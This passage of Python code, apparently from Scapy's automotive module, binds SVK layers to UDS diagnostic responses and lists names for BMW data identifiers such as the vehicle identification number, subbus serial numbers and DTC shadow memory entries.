SVK, dataIdentifier=0xf11e) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf11f) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf120) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf121) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf122) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf123) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf124) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf125) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf126) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf127) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf128) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf129) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf12a) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf12b) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf12c) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf12d) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf12e) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf12f) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf130) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf131) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf132) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf133) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf134) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf135) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf136) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf137) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf138) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf139) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf13a) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf13b) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf13c) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf13d) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf13e) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf13f) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf140) UDS_RDBI.dataIdentifiers[0x0014] = "RDBCI_IS_LESEN_DETAIL_REQ" UDS_RDBI.dataIdentifiers[0x0015] = "RDBCI_HS_LESEN_DETAIL_REQ" UDS_RDBI.dataIdentifiers[0x0e80] = "AirbagLock" UDS_RDBI.dataIdentifiers[0x1000] = "TestStamp" UDS_RDBI.dataIdentifiers[0x1001] = "CBSdata" UDS_RDBI.dataIdentifiers[0x1002] = "smallUserInformationField" UDS_RDBI.dataIdentifiers[0x1003] = "smallUserInformationField" UDS_RDBI.dataIdentifiers[0x1004] = "smallUserInformationField" UDS_RDBI.dataIdentifiers[0x1005] = "smallUserInformationField" UDS_RDBI.dataIdentifiers[0x1006] = "smallUserInformationField" UDS_RDBI.dataIdentifiers[0x1007] = "smallUserInformationField" UDS_RDBI.dataIdentifiers[0x1008] = "smallUserInformationFieldBMWfast" UDS_RDBI.dataIdentifiers[0x1009] = "vehicleProductionDate" UDS_RDBI.dataIdentifiers[0x100A] = "EnergyMode" UDS_RDBI.dataIdentifiers[0x100B] = "VcmIntegrationStep" UDS_RDBI.dataIdentifiers[0x100d] = "gatewayTableVersionNumber" UDS_RDBI.dataIdentifiers[0x100e] = "ExtendedMode" UDS_RDBI.dataIdentifiers[0x1010] = "fullVehicleIdentificationNumber" UDS_RDBI.dataIdentifiers[0x1011] = "vehicleType" UDS_RDBI.dataIdentifiers[0x1012] = "chipCardData_1012_101F" UDS_RDBI.dataIdentifiers[0x1013] = "chipCardData_1012_101F" UDS_RDBI.dataIdentifiers[0x1014] = "chipCardData_1012_101F" UDS_RDBI.dataIdentifiers[0x1015] = "chipCardData_1012_101F" UDS_RDBI.dataIdentifiers[0x1016] = "chipCardData_1012_101F" UDS_RDBI.dataIdentifiers[0x1017] = "chipCardData_1012_101F" UDS_RDBI.dataIdentifiers[0x1018] = "chipCardData_1012_101F" UDS_RDBI.dataIdentifiers[0x1019] = "chipCardData_1012_101F" UDS_RDBI.dataIdentifiers[0x101a] = "chipCardData_1012_101F" UDS_RDBI.dataIdentifiers[0x101b] = "chipCardData_1012_101F" UDS_RDBI.dataIdentifiers[0x101c] = "chipCardData_1012_101F" UDS_RDBI.dataIdentifiers[0x101d] = "chipCardData_1012_101F" UDS_RDBI.dataIdentifiers[0x101e] = "chipCardData_1012_101F" UDS_RDBI.dataIdentifiers[0x101f] = "chipCardData_1012_101F" UDS_RDBI.dataIdentifiers[0x1600] = "IdentifyNumberofSubbusMembers" UDS_RDBI.dataIdentifiers[0x1601] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1602] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1603] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1604] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1605] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1606] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1607] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1608] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1609] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x160a] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x160b] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x160c] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x160d] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x160e] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x160f] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1610] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1611] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1612] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1613] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1614] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1615] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1616] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1617] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1618] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1619] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x161a] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x161b] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x161c] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x161d] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x161e] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x161f] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1620] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1621] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1622] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1623] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1624] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1625] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1626] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1627] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1628] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1629] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x162a] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x162b] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x162c] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x162d] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x162e] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x162f] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1630] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1631] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1632] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1633] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1634] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1635] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1636] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1637] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1638] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1639] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x163a] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x163b] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x163c] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x163d] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x163e] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x163f] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1640] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1641] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1642] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1643] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1644] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1645] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1646] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1647] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1648] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1649] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x164a] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x164b] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x164c] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x164d] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x164e] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x164f] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1650] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1651] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1652] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1653] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1654] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1655] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1656] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1657] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1658] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1659] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x165a] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x165b] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x165c] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x165d] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x165e] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x165f] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1660] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1661] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1662] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1663] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1664] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1665] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1666] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1667] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1668] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1669] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x166a] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x166b] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x166c] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x166d] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x166e] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x166f] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1670] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1671] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1672] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1673] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1674] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1675] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1676] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1677] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1678] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1679] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x167a] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x167b] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x167c] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x167d] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x167e] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x167f] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1680] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1681] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1682] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1683] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1684] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1685] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1686] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1687] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1688] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1689] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x168a] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x168b] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x168c] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x168d] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x168e] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x168f] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1690] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1691] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1692] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1693] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1694] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1695] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1696] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1697] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1698] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1699] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x169a] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x169b] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x169c] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x169d] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x169e] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x169f] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16a0] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16a1] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16a2] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16a3] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16a4] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16a5] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16a6] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16a7] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16a8] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16a9] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16aa] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16ab] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16ac] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16ad] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16ae] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16af] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16b0] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16b1] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16b2] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16b3] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16b4] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16b5] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16b6] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16b7] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16b8] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16b9] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16ba] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16bb] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16bc] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16bd] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16be] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16bf] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16c0] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16c1] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16c2] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16c3] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16c4] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16c5] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16c6] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16c7] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16c8] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16c9] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16ca] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16cb] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16cc] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16cd] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16ce] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16cf] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16d0] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16d1] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16d2] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16d3] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16d4] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16d5] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16d6] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16d7] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16d8] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16d9] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16da] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16db] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16dc] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16dd] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16de] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16df] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16e0] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16e1] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16e2] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16e3] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16e4] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16e5] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16e6] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16e7] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16e8] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16e9] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16ea] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16eb] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16ec] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16ed] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16ee] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16ef] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16f0] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16f1] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16f2] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16f3] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16f4] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16f5] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16f6] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16f7] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16f8] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16f9] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16fa] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16fb] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16fc] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16fd] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16fe] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16ff] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1701] = "SysTime" UDS_RDBI.dataIdentifiers[0x170C] = "BoardPowerSupply" UDS_RDBI.dataIdentifiers[0x171F] = "Certificate" UDS_RDBI.dataIdentifiers[0x1720] = "SCVersion" UDS_RDBI.dataIdentifiers[0x1723] = "ActiveResponseDTCs" UDS_RDBI.dataIdentifiers[0x1724] = "LockableDTCs" UDS_RDBI.dataIdentifiers[0x172A] = "IPConfiguration" UDS_RDBI.dataIdentifiers[0x172B] = "MACAddress" UDS_RDBI.dataIdentifiers[0x1735] = "LifecycleMode" UDS_RDBI.dataIdentifiers[0x2000] = "dtcShadowMemory" UDS_RDBI.dataIdentifiers[0x2001] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2002] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2003] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2004] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2005] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2006] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2007] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2008] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2009] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x200a] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x200b] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x200c] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x200d] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x200e] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x200f] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2010] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2011] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2012] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2013] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2014] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2015] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2016] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2017] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2018] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2019] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x201a] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x201b] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x201c] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x201d] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x201e] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x201f] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2020] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2021] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2022] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2023] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2024] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2025] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2026] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2027] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2028] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2029] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x202a] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x202b] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x202c] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x202d] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x202e] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x202f] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2030] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2031] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2032] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2033] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2034] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2035] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2036] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2037] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2038] = "dtcShadowMemoryEntry" 